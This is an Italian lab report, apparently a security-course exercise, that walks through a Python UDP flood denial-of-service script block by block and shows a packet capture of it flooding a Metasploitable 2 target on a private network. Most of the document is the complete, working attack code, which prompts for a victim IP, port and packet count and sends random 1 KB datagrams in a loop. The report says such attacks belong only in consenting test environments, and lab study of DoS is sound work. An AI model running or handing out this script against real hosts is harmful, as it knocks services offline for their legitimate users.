Relazione sull'Attacco UDP Flood

Introduzione

Gli attacchi di tipo Denial of Service (DoS) mirano a saturare le risorse di un sistema o di una rete, rendendo i servizi indisponibili per gli utenti legittimi. Uno dei tipi più comuni di attacchi DoS è l'attacco UDP Flood, che consiste nell'inviare un gran numero di pacchetti UDP verso una porta specifica di un sistema target, causando sovraccarico e potenziale instabilità del sistema. In questa relazione, esploreremo come implementare un attacco UDP Flood utilizzando un programma Python e come testarlo su un ambiente controllato, utilizzando Metasploitable 2 come sistema target.

Spiegazione del Programma Python

Il programma Python per simulare un attacco UDP Flood è stato suddiviso in diversi blocchi per facilitare la comprensione e la manutenzione del codice. Ogni blocco ha un ruolo specifico nella realizzazione dell'attacco.

Blocco 1: Importazione dei Moduli

```
1   import socket
2   import random
3   import ipaddress
```

- socket : Questo modulo fornisce accesso alle primitive di comunicazione di rete, necessarie per creare il socket UDP.
- random : Utilizzato per generare dati casuali per i pacchetti UDP.
- ipaddress : Usato per validare l'indirizzo IP inserito dall'utente.

Blocco 2: Definizione della Funzione

```python
def udp_dos(ip_vittima, porta_udp, numero_pacchetti):
    try:
        # Creazione del socket UDP
        udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        # Generazione dei dati del pacchetto (1 KB)
        data = random._urandom(1024)

        print(f"\nAttacco DoS in corso verso {ip_vittima}:{porta_udp}...")

        for _ in range(numero_pacchetti):
            # Invio del pacchetto al target
            udp_socket.sendto(data, (ip_vittima, porta_udp))
            print(f"Pacchetto inviato a {ip_vittima}:{porta_udp}")

    except Exception as error:
        print(f"Si è verificato un errore durante l'attacco DoS: {error}")
    finally:
        if udp_socket:
            print("Attacco DoS terminato.")
            udp_socket.close()
```

- Creazione del Socket UDP : Viene creato un socket UDP utilizzando socket.socket(socket.AF_INET, socket.SOCK_DGRAM).
- Generazione dei Dati del Pacchetto : I dati vengono generati casualmente tramite random._urandom(1024) per creare un pacchetto di 1 KB.
- Invio dei Pacchetti : I pacchetti vengono inviati al target specificato dall'utente tramite udp_socket.sendto(data, (ip_vittima, porta_udp)).
- Gestione delle Eccezioni : Se si verifica un errore durante l'invio dei pacchetti, viene stampato un messaggio di errore.
- Chiusura del Socket : Alla fine dell'attacco, il socket viene chiuso.

Blocco 3: Blocco Principale del Programma

```python
if __name__ == "__main__":
    print("***************")
    print("Attacco DoS tramite UDP")
    print("***************")

    try:
        # Input dell'utente
        ip_vittima = input("\nInserisci l'IP della vittima: ")
        porta_udp = int(input("Inserisci la porta UDP della vittima (1-65535): "))
        numero_pacchetti = int(input("Inserisci il numero di pacchetti da inviare: "))

        # Verifica dell'input
        ipaddress.ip_address(ip_vittima)
        print("L'indirizzo IP è valido.")

        if 1 <= porta_udp <= 65535:
            print("La porta inserita è valida.")
        else:
            print("La porta inserita non è valida.")
            sys.exit(1)

```

```
48          if numero_pacchetti < 1:
49              print("Il numero di pacchetti deve essere maggiore o uguale a 1.")
50              sys.exit(1)
51          else:
52              print("Il numero di pacchetti è valido.")
53
54          # Conferma all'utente
55          inizio_dos = input("\nVuoi far partire l'attacco? [y/n]: ").lower()
56          if inizio_dos == "y":
57              udp_dos(ip_vittima, porta_udp, numero_pacchetti)
58          elif inizio_dos == "n":
59              print("\nl'attacco è stato annullato.")
60          else:
61              print("Input non valido. L'attacco è stato annullato.")
62
63      except ValueError:
64          print("Input non valido. Assicurati di inserire valori corretti.")
65      except Exception as error:
66          print(f"Si è verificato un errore: {error}")
```

- Messaggi di Benvenuto : Stampa dei messaggi di benvenuto e descrizione dell'attacco.
- Input dell'Utente : Richiede all'utente di inserire l'IP target, la porta UDP e il numero di pacchetti da inviare.
- Validazione degli Input :
    - Verifica dell'IP : Utilizza ipaddress.ip_address() per verificare se l'indirizzo IP inserito è valido.
    - Verifica della Porta : Controlla se la porta inserita è compresa tra 1 e 65535.
    - Verifica del Numero di Pacchetti : Assicura che il numero di pacchetti sia maggiore o uguale a 1.
- Conferma all'Utente : Chiede conferma all'utente prima di avviare l'attacco. Se l'utente risponde "y", l'attacco viene avviato; altrimenti, viene annullato.
- Gestione delle Eccezioni : Gestisce eventuali eccezioni relative alla conversione degli input in interi (ValueError) e altre eccezioni che potrebbero verificarsi durante l'esecuzione del programma.

Conclusioni

No.	Time	Source	Destination	Protocol	Length	Info
9416	26.539368561	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9417	26.539457370	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9418	26.539555583	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9419	26.539642979	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9420	26.539730326	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9421	26.539981157	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9422	26.540069415	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9423	26.540226897	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9424	26.540331614	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9425	26.540423811	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9426	26.540511649	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9427	26.540703703	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9428	26.541522034	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9429	26.541653735	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9430	26.541745322	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9431	26.541865846	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9432	26.541965201	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9433	26.542054862	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9434	26.542393732	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9435	26.542610263	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9436	26.542733404	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9437	26.542833860	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9438	26.542925637	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9439	26.543017214	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9440	26.543115796	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9441	26.543204606	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9442	26.543293857	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9443	26.543393381	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9444	26.543482341	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9445	26.543571051	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9446	26.543669764	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9447	26.543758152	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9448	26.544003512	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024
9449	26.544103268	192.168.50.100	192.168.50.101	UDP	1066	52408 → 5000 Len=1024

In questa relazione, abbiamo esplorato come implementare un attacco UDP Flood utilizzando un programma Python. Abbiamo visto come il programma sia strutturato in diversi blocchi, ciascuno con un ruolo specifico nella realizzazione dell'attacco. Abbiamo anche discusso come testare l'attacco su un ambiente controllato, utilizzando Metasploitable 2 come sistema target.
L'attacco UDP Flood è uno strumento potente che può essere usato per comprendere le vulnerabilità delle reti e sviluppare strategie di mitigazione. Tuttavia, è importante ricordare che questi attacchi devono essere eseguiti solo in ambienti controllati e con il consenso delle parti coinvolte. L'uso non autorizzato di tali tecniche contro sistemi o reti reali è illegale.
Attraverso questo esercizio, abbiamo acquisito una comprensione approfondita del funzionamento degli attacchi DoS e delle tecniche per mitigarli. Questo ci aiuterà a sviluppare soluzioni più robuste e sicure per proteggere le nostre reti e i nostri sistemi.